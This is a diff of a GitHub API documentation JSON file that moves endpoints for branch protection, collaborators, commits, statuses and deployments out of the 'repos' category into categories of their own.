-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Grants the specified teams push access for this branch. You can also give push access to child teams.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>The teams that can have push access. Use the team's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -34812,10 +34879,10 @@
       "subcategory": "branches"
     },
     "slug": "set-team-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Replaces the list of teams that have push access to this branch. This removes all teams that previously had push access and grants push access to the new list of teams. Team restrictions include child teams.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>The teams that can have push access. Use the team's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -34954,10 +35021,10 @@
       "subcategory": "branches"
     },
     "slug": "remove-team-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Removes the ability of a team to push to this branch. You can also remove push access for child teams.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>Teams that should no longer have push access. Use the team's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -35053,10 +35120,10 @@
       "subcategory": "branches"
     },
     "slug": "get-users-with-access-to-the-protected-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Lists the people who have push access to this branch.</p>",
@@ -35181,10 +35248,10 @@
       "subcategory": "branches"
     },
     "slug": "add-user-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Grants the specified people push access for this branch.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>Usernames for people who can have push access. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -35323,10 +35390,10 @@
       "subcategory": "branches"
     },
     "slug": "set-user-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Replaces the list of people that have push access to this branch. This removes all people that previously had push access and grants push access to the new list of people.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>Usernames for people who can have push access. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -35464,10 +35531,10 @@
       "subcategory": "branches"
     },
     "slug": "remove-user-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Removes the ability of a user to push to this branch.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>Usernames of the people who should no longer have push access. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -41812,10 +41879,8 @@
       "subcategory": "collaborators"
     },
     "slug": "list-repository-collaborators",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "collaborators",
-    "subcategoryLabel": "Collaborators",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>For organization-owned repositories, the list of collaborators includes outside collaborators, organization members that are direct collaborators, organization members with access through team memberships, organization members with access through default organization permissions, and organization owners.</p>\n<p>Team members will include the members of child teams.</p>\n<p>You must have push access to the repository in order to list collaborators.</p>",
@@ -41895,10 +41960,8 @@
       "subcategory": "collaborators"
     },
     "slug": "check-if-a-user-is-a-repository-collaborator",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "collaborators",
-    "subcategoryLabel": "Collaborators",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "notes": [],
     "responses": [
       {
@@ -42016,10 +42079,8 @@
       "subcategory": "collaborators"
     },
     "slug": "add-a-repository-collaborator",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "collaborators",
-    "subcategoryLabel": "Collaborators",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>This endpoint triggers <a href=\"https://docs.github.com/en/github/managing-subscriptions-and-notifications-on-github/about-notifications\">notifications</a>. Creating content too quickly using this endpoint may result in secondary rate limiting. See \"<a href=\"https://docs.github.com/github-ae@latest/rest/overview/resources-in-the-rest-api#secondary-rate-limits\">Secondary rate limits</a>\" and \"<a href=\"https://docs.github.com/github-ae@latest/rest/guides/best-practices-for-integrators#dealing-with-secondary-rate-limits\">Dealing with secondary rate limits</a>\" for details.</p>\n<p>For more information on permission levels, see \"<a href=\"https://help.github.com/en/github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization#permission-levels-for-repositories-owned-by-an-organization\">Repository permission levels for an organization</a>\". There are restrictions on which permissions can be granted to organization members when an organization base role is in place. In this case, the permission being given must be equal to or higher than the org base permission. Otherwise, the request will fail with:</p>\n<pre><code>Cannot assign {member} permission of {role name}\n</code></pre>\n<p>Note that, if you choose not to pass any parameters, you'll need to set <code>Content-Length</code> to zero when calling out to this endpoint. For more information, see \"<a href=\"https://docs.github.com/github-ae@latest/rest/overview/resources-in-the-rest-api#http-verbs\">HTTP verbs</a>.\"</p>\n<p>The invitee will receive a notification that they have been invited to the repository, which they must accept or decline. They may do this via the notifications page, the email they receive, or by using the <a href=\"https://docs.github.com/github-ae@latest/rest/reference/repos#invitations\">repository invitations API endpoints</a>.</p>\n<p><strong>Rate limits</strong></p>\n<p>You are limited to sending 50 invitations to a repository per 24 hour period. Note there is no limit if you are inviting organization members to an organization repository.</p>",
@@ -42137,10 +42198,8 @@
       "subcategory": "collaborators"
     },
     "slug": "remove-a-repository-collaborator",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "collaborators",
-    "subcategoryLabel": "Collaborators",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "notes": [],
     "descriptionHTML": "",
     "responses": [
@@ -42214,10 +42273,8 @@
       "subcategory": "collaborators"
     },
     "slug": "get-repository-permissions-for-a-user",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "collaborators",
-    "subcategoryLabel": "Collaborators",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Checks the repository permission of a collaborator. The possible repository permissions are <code>admin</code>, <code>write</code>, <code>read</code>, and <code>none</code>.</p>",
@@ -42308,8 +42365,8 @@
       "subcategory": "comments"
     },
     "slug": "list-commit-comments-for-a-repository",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "notes": [],
@@ -42387,8 +42444,8 @@
       "subcategory": "comments"
     },
     "slug": "get-a-commit-comment",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "notes": [],
@@ -42498,8 +42555,8 @@
       "subcategory": "comments"
     },
     "slug": "update-a-commit-comment",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "contentType": "application/json",
@@ -42593,8 +42650,8 @@
       "subcategory": "comments"
     },
     "slug": "delete-a-commit-comment",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "notes": [],
@@ -43096,10 +43153,8 @@
       "subcategory": "commits"
     },
     "slug": "list-commits",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "commits",
-    "subcategoryLabel": "Commits",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p><strong>Signature verification object</strong></p>\n<p>The response will include a <code>verification</code> object that describes the result of verifying the commit's signature. The following fields are included in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Name</th><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>verified</code></td><td><code>boolean</code></td><td>Indicates whether GitHub considers the signature in this commit to be verified.</td></tr><tr><td><code>reason</code></td><td><code>string</code></td><td>The reason for verified value. Possible values and their meanings are enumerated in table below.</td></tr><tr><td><code>signature</code></td><td><code>string</code></td><td>The signature that was extracted from the commit.</td></tr><tr><td><code>payload</code></td><td><code>string</code></td><td>The value that was signed.</td></tr></tbody></table>\n<p>These are the possible values for <code>reason</code> in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Value</th><th>Description</th></tr></thead><tbody><tr><td><code>expired_key</code></td><td>The key that made the signature is expired.</td></tr><tr><td><code>not_signing_key</code></td><td>The \"signing\" flag is not among the usage flags in the GPG key that made the signature.</td></tr><tr><td><code>gpgverify_error</code></td><td>There was an error communicating with the signature verification service.</td></tr><tr><td><code>gpgverify_unavailable</code></td><td>The signature verification service is currently unavailable.</td></tr><tr><td><code>unsigned</code></td><td>The object does not include a signature.</td></tr><tr><td><code>unknown_signature_type</code></td><td>A non-PGP signature was found in the commit.</td></tr><tr><td><code>no_user</code></td><td>No user was associated with the <code>committer</code> email address in the commit.</td></tr><tr><td><code>unverified_email</code></td><td>The <code>committer</code> email address in the commit was associated with a user, but the email address is not verified on her/his account.</td></tr><tr><td><code>bad_email</code></td><td>The <code>committer</code> email address in the commit is not included in the identities of the PGP key that made the signature.</td></tr><tr><td><code>unknown_key</code></td><td>The key that made the signature has not been registered with any user's account.</td></tr><tr><td><code>malformed_signature</code></td><td>There was an error parsing the signature.</td></tr><tr><td><code>invalid</code></td><td>The signature could not be cryptographically verified using the key whose key-id was found in the signature.</td></tr><tr><td><code>valid</code></td><td>None of the above errors applied, so the signature is considered to be verified.</td></tr></tbody></table>",
@@ -43196,10 +43251,8 @@
       "subcategory": "commits"
     },
     "slug": "list-branches-for-head-commit",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "commits",
-    "subcategoryLabel": "Commits",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Returns all branches where the given commit SHA is the HEAD, or latest commit for the branch.</p>",
@@ -43301,8 +43354,8 @@
       "subcategory": "comments"
     },
     "slug": "list-commit-comments",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "notes": [],
@@ -43439,8 +43492,8 @@
       "subcategory": "comments"
     },
     "slug": "create-a-commit-comment",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "contentType": "application/json",
@@ -43587,10 +43640,8 @@
       "subcategory": "commits"
     },
     "slug": "list-pull-requests-associated-with-a-commit",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "commits",
-    "subcategoryLabel": "Commits",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Lists the merged pull request that introduced the commit to the repository. If the commit is not present in the default branch, additionally returns open pull requests associated with the commit. The results may include open and closed pull requests. Additional preview headers may be required to see certain details for associated pull requests, such as whether a pull request is in a draft state. For more information about previews that might affect this endpoint, see the <a href=\"https://docs.github.com/github-ae@latest/rest/reference/pulls#list-pull-requests\">List pull requests</a> endpoint.</p>",
@@ -43687,10 +43738,8 @@
       "subcategory": "commits"
     },
     "slug": "get-a-commit",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "commits",
-    "subcategoryLabel": "Commits",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Returns the contents of a single commit reference. You must have <code>read</code> access for the repository to use this endpoint.</p>\n<p><strong>Note:</strong> If there are more than 300 files in the commit diff, the response will include pagination link headers for the remaining files, up to a limit of 3000 files. Each page contains the static commit information, and the only changes are to the file listing.</p>\n<p>You can pass the appropriate <a href=\"https://docs.github.com/github-ae@latest/rest/overview/media-types/#commits-commit-comparison-and-pull-requests\">media type</a> to  fetch <code>diff</code> and <code>patch</code> formats. Diffs with binary data will have no <code>patch</code> property.</p>\n<p>To return only the SHA-1 hash of the commit reference, you can provide the <code>sha</code> custom <a href=\"https://docs.github.com/github-ae@latest/rest/overview/media-types/#commits-commit-comparison-and-pull-requests\">media type</a> in the <code>Accept</code> header. You can use this endpoint to check if a remote reference's SHA-1 hash is the same as your local reference's SHA-1 hash by providing the local SHA-1 reference as the ETag.</p>\n<p><strong>Signature verification object</strong></p>\n<p>The response will include a <code>verification</code> object that describes the result of verifying the commit's signature. The following fields are included in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Name</th><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>verified</code></td><td><code>boolean</code></td><td>Indicates whether GitHub considers the signature in this commit to be verified.</td></tr><tr><td><code>reason</code></td><td><code>string</code></td><td>The reason for verified value. Possible values and their meanings are enumerated in table below.</td></tr><tr><td><code>signature</code></td><td><code>string</code></td><td>The signature that was extracted from the commit.</td></tr><tr><td><code>payload</code></td><td><code>string</code></td><td>The value that was signed.</td></tr></tbody></table>\n<p>These are the possible values for <code>reason</code> in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Value</th><th>Description</th></tr></thead><tbody><tr><td><code>expired_key</code></td><td>The key that made the signature is expired.</td></tr><tr><td><code>not_signing_key</code></td><td>The \"signing\" flag is not among the usage flags in the GPG key that made the signature.</td></tr><tr><td><code>gpgverify_error</code></td><td>There was an error communicating with the signature verification service.</td></tr><tr><td><code>gpgverify_unavailable</code></td><td>The signature verification service is currently unavailable.</td></tr><tr><td><code>unsigned</code></td><td>The object does not include a signature.</td></tr><tr><td><code>unknown_signature_type</code></td><td>A non-PGP signature was found in the commit.</td></tr><tr><td><code>no_user</code></td><td>No user was associated with the <code>committer</code> email address in the commit.</td></tr><tr><td><code>unverified_email</code></td><td>The <code>committer</code> email address in the commit was associated with a user, but the email address is not verified on her/his account.</td></tr><tr><td><code>bad_email</code></td><td>The <code>committer</code> email address in the commit is not included in the identities of the PGP key that made the signature.</td></tr><tr><td><code>unknown_key</code></td><td>The key that made the signature has not been registered with any user's account.</td></tr><tr><td><code>malformed_signature</code></td><td>There was an error parsing the signature.</td></tr><tr><td><code>invalid</code></td><td>The signature could not be cryptographically verified using the key whose key-id was found in the signature.</td></tr><tr><td><code>valid</code></td><td>None of the above errors applied, so the signature is considered to be verified.</td></tr></tbody></table>",
@@ -44072,8 +44121,8 @@
       "subcategory": "statuses"
     },
     "slug": "get-the-combined-status-for-a-specific-reference",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "statuses",
     "subcategoryLabel": "Statuses",
     "notes": [],
@@ -44177,8 +44226,8 @@
       "subcategory": "statuses"
     },
     "slug": "list-commit-statuses-for-a-reference",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "statuses",
     "subcategoryLabel": "Statuses",
     "notes": [],
@@ -44281,10 +44330,8 @@
       "subcategory": "commits"
     },
     "slug": "compare-two-commits",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "commits",
-    "subcategoryLabel": "Commits",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>The <code>basehead</code> param is comprised of two parts: <code>base</code> and <code>head</code>. Both must be branch names in <code>repo</code>. To compare branches across other repositories in the same network as <code>repo</code>, use the format <code>&lt;USERNAME&gt;:branch</code>.</p>\n<p>The response from the API is equivalent to running the <code>git log base..head</code> command; however, commits are returned in chronological order. Pass the appropriate <a href=\"https://docs.github.com/github-ae@latest/rest/overview/media-types/#commits-commit-comparison-and-pull-requests\">media type</a> to fetch diff and patch formats.</p>\n<p>The response also includes details on the files that were changed between the two commits. This includes the status of the change (for example, if a file was added, removed, modified, or renamed), and details of the change itself. For example, files with a <code>renamed</code> status have a <code>previous_filename</code> field showing the previous filename of the file, and files with a <code>modified</code> status have a <code>patch</code> field showing the changes made to the file.</p>\n<p><strong>Working with large comparisons</strong></p>\n<p>To process a response with a large number of commits, you can use (<code>per_page</code> or <code>page</code>) to paginate the results. When using paging, the list of changed files is only returned with page 1, but includes all changed files for the entire comparison. For more information on working with pagination, see \"<a href=\"/rest/guides/traversing-with-pagination\">Traversing with pagination</a>.\"</p>\n<p>When calling this API without any paging parameters (<code>per_page</code> or <code>page</code>), the returned list is limited to 250 commits and the last commit in the list is the most recent of the entire comparison. When a paging parameter is specified, the first commit in the returned list of each page is the earliest.</p>\n<p><strong>Signature verification object</strong></p>\n<p>The response will include a <code>verification</code> object that describes the result of verifying the commit's signature. The following fields are included in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Name</th><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>verified</code></td><td><code>boolean</code></td><td>Indicates whether GitHub considers the signature in this commit to be verified.</td></tr><tr><td><code>reason</code></td><td><code>string</code></td><td>The reason for verified value. Possible values and their meanings are enumerated in table below.</td></tr><tr><td><code>signature</code></td><td><code>string</code></td><td>The signature that was extracted from the commit.</td></tr><tr><td><code>payload</code></td><td><code>string</code></td><td>The value that was signed.</td></tr></tbody></table>\n<p>These are the possible values for <code>reason</code> in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Value</th><th>Description</th></tr></thead><tbody><tr><td><code>expired_key</code></td><td>The key that made the signature is expired.</td></tr><tr><td><code>not_signing_key</code></td><td>The \"signing\" flag is not among the usage flags in the GPG key that made the signature.</td></tr><tr><td><code>gpgverify_error</code></td><td>There was an error communicating with the signature verification service.</td></tr><tr><td><code>gpgverify_unavailable</code></td><td>The signature verification service is currently unavailable.</td></tr><tr><td><code>unsigned</code></td><td>The object does not include a signature.</td></tr><tr><td><code>unknown_signature_type</code></td><td>A non-PGP signature was found in the commit.</td></tr><tr><td><code>no_user</code></td><td>No user was associated with the <code>committer</code> email address in the commit.</td></tr><tr><td><code>unverified_email</code></td><td>The <code>committer</code> email address in the commit was associated with a user, but the email address is not verified on her/his account.</td></tr><tr><td><code>bad_email</code></td><td>The <code>committer</code> email address in the commit is not included in the identities of the PGP key that made the signature.</td></tr><tr><td><code>unknown_key</code></td><td>The key that made the signature has not been registered with any user's account.</td></tr><tr><td><code>malformed_signature</code></td><td>There was an error parsing the signature.</td></tr><tr><td><code>invalid</code></td><td>The signature could not be cryptographically verified using the key whose key-id was found in the signature.</td></tr><tr><td><code>valid</code></td><td>None of the above errors applied, so the signature is considered to be verified.</td></tr></tbody></table>",
@@ -45584,10 +45631,8 @@
       "subcategory": "deployments"
     },
     "slug": "list-deployments",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Simple filtering of deployments is available via query parameters:</p>",
@@ -45790,10 +45835,8 @@
       "subcategory": "deployments"
     },
     "slug": "create-a-deployment",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Deployments offer a few configurable parameters with certain defaults.</p>\n<p>The <code>ref</code> parameter can be any named branch, tag, or SHA. At GitHub AE we often deploy branches and verify them\nbefore we merge a pull request.</p>\n<p>The <code>environment</code> parameter allows deployments to be issued to different runtime environments. Teams often have\nmultiple environments for verifying their applications, such as <code>production</code>, <code>staging</code>, and <code>qa</code>. This parameter\nmakes it easier to track which environments have requested deployments. The default environment is <code>production</code>.</p>\n<p>The <code>auto_merge</code> parameter is used to ensure that the requested ref is not behind the repository's default branch. If\nthe ref <em>is</em> behind the default branch for the repository, we will attempt to merge it for you. If the merge succeeds,\nthe API will return a successful merge commit. If merge conflicts prevent the merge from succeeding, the API will\nreturn a failure response.</p>\n<p>By default, <a href=\"https://docs.github.com/github-ae@latest/rest/reference/repos#statuses\">commit statuses</a> for every submitted context must be in a <code>success</code>\nstate. The <code>required_contexts</code> parameter allows you to specify a subset of contexts that must be <code>success</code>, or to\nspecify contexts that have not yet been submitted. You are not required to use commit statuses to deploy. If you do\nnot require any contexts or create any commit statuses, the deployment will always succeed.</p>\n<p>The <code>payload</code> parameter is available for any extra information that a deployment system might need. It is a JSON text\nfield that will be passed on when a deployment event is dispatched.</p>\n<p>The <code>task</code> parameter is used by the deployment system to allow different execution paths. In the web world this might\nbe <code>deploy:migrations</code> to run schema changes on the system. In the compiled world this could be a flag to compile an\napplication with debugging enabled.</p>\n<p>Users with <code>repo</code> or <code>repo_deployment</code> scopes can create a deployment for a given ref.</p>\n<h4 id=\"merged-branch-response\"><a aria-hidden=\"\" tabindex=\"-1\" class=\"doctocat-link\" href=\"#merged-branch-response\"><svg aria-hidden=\"\" role=\"img\" class=\"octicon-link\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:middle\"><path fill-rule=\"evenodd\" d=\"M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z\"></path></svg></a>Merged branch response</h4>\n<p>You will see this response when GitHub automatically merges the base branch into the topic branch instead of creating\na deployment. This auto-merge happens when:</p>\n<ul>\n<li>Auto-merge option is enabled in the repository</li>\n<li>Topic branch does not include the latest changes on the base branch, which is <code>master</code> in the response example</li>\n<li>There are no merge conflicts</li>\n</ul>\n<p>If there are no new commits in the base branch, a new request to create a deployment should give a successful\nresponse.</p>\n<h4 id=\"merge-conflict-response\"><a aria-hidden=\"\" tabindex=\"-1\" class=\"doctocat-link\" href=\"#merge-conflict-response\"><svg aria-hidden=\"\" role=\"img\" class=\"octicon-link\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:middle\"><path fill-rule=\"evenodd\" d=\"M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z\"></path></svg></a>Merge conflict response</h4>\n<p>This error happens when the <code>auto_merge</code> option is enabled and when the default branch (in this case <code>master</code>), can't\nbe merged into the branch that's being deployed (in this case <code>topic-branch</code>), due to merge conflicts.</p>\n<h4 id=\"failed-commit-status-checks\"><a aria-hidden=\"\" tabindex=\"-1\" class=\"doctocat-link\" href=\"#failed-commit-status-checks\"><svg aria-hidden=\"\" role=\"img\" class=\"octicon-link\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:middle\"><path fill-rule=\"evenodd\" d=\"M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 